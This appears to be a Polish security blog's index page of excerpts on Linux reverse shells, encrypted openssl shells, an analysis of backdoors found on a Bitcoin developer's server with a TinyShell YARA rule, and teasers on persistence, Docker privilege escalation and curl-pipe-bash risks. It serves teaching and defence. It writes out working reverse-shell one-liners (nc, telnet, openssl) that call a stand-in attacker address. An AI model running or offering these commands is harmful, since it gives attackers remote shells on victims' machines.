J

eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to za pomocą telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ:

mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f

Na początku tworzony jest nazwany potok FIFO za pomocą polecenia mkfifo w ścieżce /tmp/f. Następnie uruchamiany jest program binarny (tutaj netcat), który pobiera dane wejściowe z tego potoku. Całość danych wyjściowych z programu binarnego jest przekazywana zwykłym potokiem (ang. pipe) do procesu powłoki sh. Wyjście powłoki jest przesyłane z powrotem przez nazwany potok FIFO do wejścia programu binarnego. Gdy program binarny i powłoka sh zakończą swoje działanie, polecenie rm usuwa nazwany potok FIFO w ścieżce /tmp/f.

Plik specjalny FIFO (nazwany potok) jest podobny do zwykłego potoku (|), z wyjątkiem tego, że jest dostępny jako część systemu plików. Może być otwierany przez wiele procesów w celu odczytu i zapisu. Gdy procesy wymieniają dane za pośrednictwem FIFO, jądro przekazuje wszystkie dane wewnętrznie bez zapisywania ich w systemie plików. Tak, więc specjalny plik FIFO nie ma zawartości w systemie plików – wpis w systemie plików służy jedynie jako punkt odniesienia, dzięki czemu procesy mogą uzyskać dostęp do potoku przy użyciu nazwy w systemie plików.

Polecenie mkfifo jest tutaj koniecznie, ponieważ potrzebujemy dwóch kanałów komunikacji: netcat do sh oraz sh do netcat, a potok użyty w powłoce (|) daje tylko jednokierunkowy prymityw. Istnieje wiele wad korzystania z mkfifo. Dość powszechne jest tworzenie reguł wykrywających tego typu ładunki poleceń przez niebieskie zespoły (ang. blue teams). Ponieważ programy binarne są tutaj wymienne (nc, telnet, openssl) włączenie programu mkfifo do sygnału wykrywania odwróconych powłok jest naturalnym krokiem. Poza tym krok czyszczenia (rm /tmp/f) czasami kończy się niepowodzeniem, pozostawiając błędny plik FIFO. Wreszcie – nie zawsze można znaleźć zapisywalne lokalizacje na systemie plików np. gdy procesy uruchomione są w chroot lub kontenerze w trybie tylko do odczytu.

Jak możemy wykluczyć to polecenie? Na przykład tak:

{ nc 1.2.3.4 31337 </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

Tworzymy podpowłokę (ang. subshell) za pomocą { } lub ( ), w której zamykamy kilka poleceń. Dane wyjściowe z tej podpowłoki potokiem przekazujemy do tzw. polecenia NOP (ang. do-nothing operation), czyli dwukropka (:) wcześniej przekierowując dane wyjściowe deskryptora pliku o numerze 3 na standardowe wyjście (3>&1). Wewnątrz podpowłoki program binarny netcat pobiera dane wejściowe z deskryptora pliku o numerze 3 (</dev/fd/3), który następnie jest zamykany (3>&-) – całość danych wyjściowych jest przekazywana potokiem to powłoki sh. Następnie powłoka sh pobiera dane wejściowe z programu binarnego netcat i przekazuje swoje dane wyjściowe ponownie do deskryptora plików numer 3 również go zamykając, aby uniknąć dodatkowych zwisających odwołań do ponownie użytego deskryptora. W ten sposób unikając polecenia mkfifo uzyskaliśmy możliwość odczytu, jak i zapisu do struktury potoku w pamięci systemu Linux.

Więcej informacji: fifo, Something’s special about /dev/fd/3, What does minus mean in „exec 3>&-” and how do I use it?, Czysta funkcja bash do pobierania i uruchamiania ładunków, Linux shellcraft: the pipe trick

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/rsh; sh -i 2>&1 < /tmp/rsh | telnet 127.0.0.1 31337 > /tmp/rsh; rm /tmp/rsh

Więcej informacji: Alh4zr3d on Twitter

r

lWrap jest opakowaniem biblioteki readline umożliwiającym edycję danych wejściowych z klawiatury dla dowolnego polecenia; zapewnia również mechanizm historii, który jest bardzo przydatny do poprawiania lub ponownego wykorzystywania poleceń. Program ten można wykorzystać wszędzie tam, gdzie interfejs wiersza poleceń danego narzędzia nie umożliwia takich czynności. W dodatku, jeśli posiadamy wolne połączenia z daną siecią, gdzie każde naciśnięcie klawisza jest przesyłane jedno po drugim w zauważalnej pauzie, a każda literówka staje się o wiele bardziej frustrująca i czasochłonna dla nas – rlwrap również sprawdza się w tej sytuacji, ponieważ buforuje wszystkie pojedyncze naciśnięcia klawiszy do momentu naciśnięcia klawisza [Enter], a następnie przesyła jednocześnie całą wprowadzoną linię tekstu. To znacznie ułatwia pisanie z dużą prędkością i poprawianie literówek.
[ czytaj całość… ]

Skoro wszędzie dzisiaj mamy szyfrowanie – wypada, aby powłoki zwrotne również były szyfrowane. W celu uruchomienia serwera do nasłuchu należy wygenerować klucz oraz certyfikat na maszynie (o IP: 1.2.3.4) służącej do ataku:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Odpalenie serwera:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect 1.2.3.4:8080 > /tmp/s; rm /tmp/s

Więcej informacji: RevSSL

1

7 listopada 2022 roku główny programista kryptowaluty Bitcoin – Luke Dashjr poinformował na swoim koncie Mastodon, że ktoś nieautoryzowany uzyskał dostęp do jego serwera Linux. Doprowadziło to do ukierunkowanego napadu na jego kryptowalutę, a także kradzież jego klucza PGP. Badacz bezpieczeństwa Taha Karim otrzymał od Luka kopię znalezionych na serwerze próbek publikując niedawno ich analizę. Początkowy wektor infekcji serwera nadal pozostaje niepotwierdzony, ponieważ padło parę podejrzeń w tym podłączenie szkodliwego nośnika bezpośrednio do serwera. W ramach ataku rzekomo skradziono 200 BTC o wartości na ten czas 3,6 miliona dolarów. Nie jest też jasne, w jaki sposób atakujący przeskoczyli z serwera na stację roboczą (lub odwrotnie).

Podczas przeprowadzonej analizy wyodrębniono dwa narzędzia: DARKSABER – nieco zmodyfikowany wariant TinyShell, który jest otwartym oprogramowaniem typu backdoor, zapewniając zdalne wykonanie powłoki, a także przesyłanie plików. Warto zauważyć, że backdoor ten jest trudny do zmodyfikowania lub przejęcia kontroli (w przypadku wykrycia) bez znajomości tajnego klucza, który jest używany do uwierzytelniania i szyfrowania komunikacji klient – serwer przy użyciu algorytmu szyfrowania AES-CBC-128 (odbywa się weryfikacja dla każdego wysłanego / odebranego pakietu). SHADOWSTRIKE – zwrotna powłoka TCP na platformę *nix napisana w języku Perl również oparta o otwarty i znany skrypt autorstwa pentestmonkey – perl-reverse-shell. Posiada on ciekawą opcję ustawiania nazwy procesu pod którą ukrywa się skrypt maskując sesję „mrocznego operatora”.

Ciekawy aspekt stanowi tutaj wykorzystanie właśnie TinyShell, ponieważ narzędzia oparte na tym rozwiązaniu były wykorzystywane przez wiele grup APT (ang. Advanced Persistent Threat) począwszy od takich jak APT31, PassCV, ChamelGang lub grupy UNC, jak UNC1945 lub UNC2891 oraz liczne ataki ukierunkowane od 2012 roku (nie tylko na platformy Linux).

Poniżej znajduje się przykładowa reguła YARA pozwalająca wykryć TinyShell w systemie Linux:

rule TinyShell
{
meta:
author = "Mandiant "
strings:
$sb1 = { C6 00 48 C6
         4? ?? 49 C6 
         4? ?? 49 C6 
         4? ?? 4C C6 
         4? ?? 53 C6 
         4? ?? 45 C6 
         4? ?? 54 C6 
         4? ?? 3D C6
         4? ?? 46 C6 
         4? ?? 00 }
$sb2 = { C6 00 54 C6 
         4? ?? 4D C6
         4? ?? 45 C6
         4? ?? 3D C6 
         4? ?? 52 }
$ss1 = "fork" ascii fullword wide
$ss2 = "socket" ascii fullword wide
$ss3 = "bind" ascii fullword wide
$ss4 = "listen" ascii fullword wide
$ss5 = "accept" ascii fullword wide
$ss6 = "alarm" ascii fullword wide
$ss7 = "shutdown" ascii fullword wide
$ss8 = "creat" ascii fullword wide
$ss9 = "write" ascii fullword wide
$ss10 = "open" ascii fullword wide
$ss11 = "read" ascii fullword wide
$ss12 = "execl" ascii fullword wide
$ss13 = "gethostbyname" ascii fullword wide
$ss14 = "connect" ascii fullword wide
condition:
uint32(0) == 0x464c457f and 1 of ($sb*) and 10 of ($ss*)
}

Detekcja:

FILE: /root/tsh/tshd SCORE: 70 TYPE: ELF SIZE: 63720
FIRST_BYTES: 7f454c4602010100000000000000000003003e00 / 
MD5: 9cbfbbd7a5df3fb77d110062a905b90d
SHA1: f361a0398992624eb000ebabc09ca875ed57a269
SHA256: 1f889871263bd6cdad8f3d4d5fc58b4a32669b944d3ed0860730374bb87d730a 
CREATED: Thu Feb  2 19:33:12 2023 
MODIFIED: Thu Feb  2 19:33:12 2023 
ACCESSED: Thu Feb  2 20:02:28 2023
REASON_1: Yara Rule MATCH: TINYSHELL SUBSCORE: 70
DESCRIPTION: not set REF: - AUTHOR: Mandiant
MATCHES: 
Str1: c60048c6400549c6400149c640064cc6400253c6400745c6400354c640083dc6400446c6400900 
Str2: c60054c640034dc6400145c640043dc6400252 

Więcej informacji: Trellix Insights: UNC2891 performing unauthorized cash withdrawals

I

nternet przyzwyczaja nas do wielu nowych rzeczy. To, co jest w nim opublikowane przyjmujemy czasem za pewnik, a porady za sprawdzone i uzasadnione. Niestety nie zawsze tak jest. Jeśli spojrzymy na niektóre, zalecane metody instalacji lub konfiguracji oprogramowania to aż trudno uwierzyć, że nikt nie pomyślał na ile różnych sposobów można je wykorzystać. Sprawdźmy dokąd może zaprowadzić nas na przykład polecenie:

curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash -

[ czytaj całość… ]

P

akiet TCP Wrappers jest instalowany domyślnie we wszystkich głównych dystrybucjach systemu Linux. Zapewnia on kontrolę dostępu do usług sieciowych na poziomie hosta. Najważniejszym komponentem tego pakietu jest biblioteka libwrap.so, z obsługą której kompilowane są inne programy. Dzięki temu podczas próby połączenia z danym programem TCP Wrappers na początku odwołuje się do swoich plików dostępu (tj. /etc/hosts.allow i /etc/hosts.deny), aby ustalić, czy klient ma prawo połączyć się z daną usługą. Jeśli klient otrzyma zgodę na połączenie, TCP Wrappers zwalnia kontrolę nad połączeniem z żądaną usługą i nie bierze już udziału w komunikacji między klientem, a serwerem. Oprócz kontroli dostępu i rejestrowania połączeń, TCP Wrappers może wykonywać polecenia w celu interakcji z klientem przed zablokowaniem lub zwolnieniem kontroli nad połączeniem z żądaną usługą sieciową. I tutaj pojawia się przestrzeń na mechanizm utrzymania trwałego dostępu do systemu.
[ czytaj całość… ]

Z

amieniliśmy już edytor vim w rejestrator naciskanych klawiszy, teraz umieścimy w nim mechanizm persystencji. Plik konfiguracyjny .vimrc zawiera konfigurację dla tego edytora, a dzięki wtyczkom, modułom sprawdzania i kolorowania składni oferuje nieograniczone możliwości dostosowywania do użytkownika. Istnieją również sposoby wykonywania poleceń powłoki i dowolnych skryptów. Biorąc pod uwagę, że przy każdym uruchomieniu programu vim ładowany jest plik .vimrc, okazuje się, że jest to świetny sposób na regularne wykonywanie zadań, takich jak sprawdzanie, czy jest dodany odpowiedni klucz SSH do systemu. Staje się to jeszcze bardziej interesujące podczas, gdy edytor uruchamia administrator.
[ czytaj całość… ]

W

yobraźmy sobie następujący scenariusz. Wyciekł klucz SSH umożliwiający zalogowanie się do zwykłego konta platformy wdrożeniowej. Był on używany do wdrażania i aktualizacji repozytoriów za pomocą ansible. Umożliwia on zalogowanie się na powłokę systemową grupy serwerów, na której są budowane i uruchamiane kontenery Docker. Samo konto nie posiada żadnych dodatkowych uprawnień ani grup. Zastanówmy się teraz w jaki sposób możemy dokonać eskalacji uprawnień wykorzystując jedną z przestrzeni nazw (ang. namespace) kontenera Docker oraz rozszerzonej zdolności Linuksa (ang. capabilities).
[ czytaj całość… ]

Z

nalezienie tylnego wejścia (ang. backdoor) uruchomionego w systemie Linux nie zawsze może być trywialne. Tylne furtki służą do interakcji atakującego z hostem w czasie rzeczywistym i są konsekwencją / kolejnym krokiem włamania do systemu. Sposród różnych backdoorów, które można wykorzystać w środowisku *nix jest bardzo dobrze znany bindshell, czyli powłoka, która nasłuchuje na określonym porcie TCP/IP. Uruchomi ona wszystko, co zostanie wysłane do tego portu i odpowie danymi wyjściowymi z przesłanych poleceń. Jej wariantem jest odwrócona powłoka (ang. reverse shell), ponieważ zamiast łączenia się atakującego z ofiarą, napastnik powoduje (np. poprzez podatną webaplikację), że to system ofiary łączy się do niego z powrotem. Dlaczego to takie ważne? Ponieważ większość funkcji filtrowania sieci jest skonfigurowana tak, aby szczegółowo blokować ruch przychodzący z internetu. Jednak bardzo często ruch wychodzący jest nieograniczony lub znacznie mniej filtrowany. Dlatego odwrócony bindshell jest świetnym sposobem na przeskakiwanie zapór ogniowych i innych mechanizmów ochrony.
[ czytaj całość… ]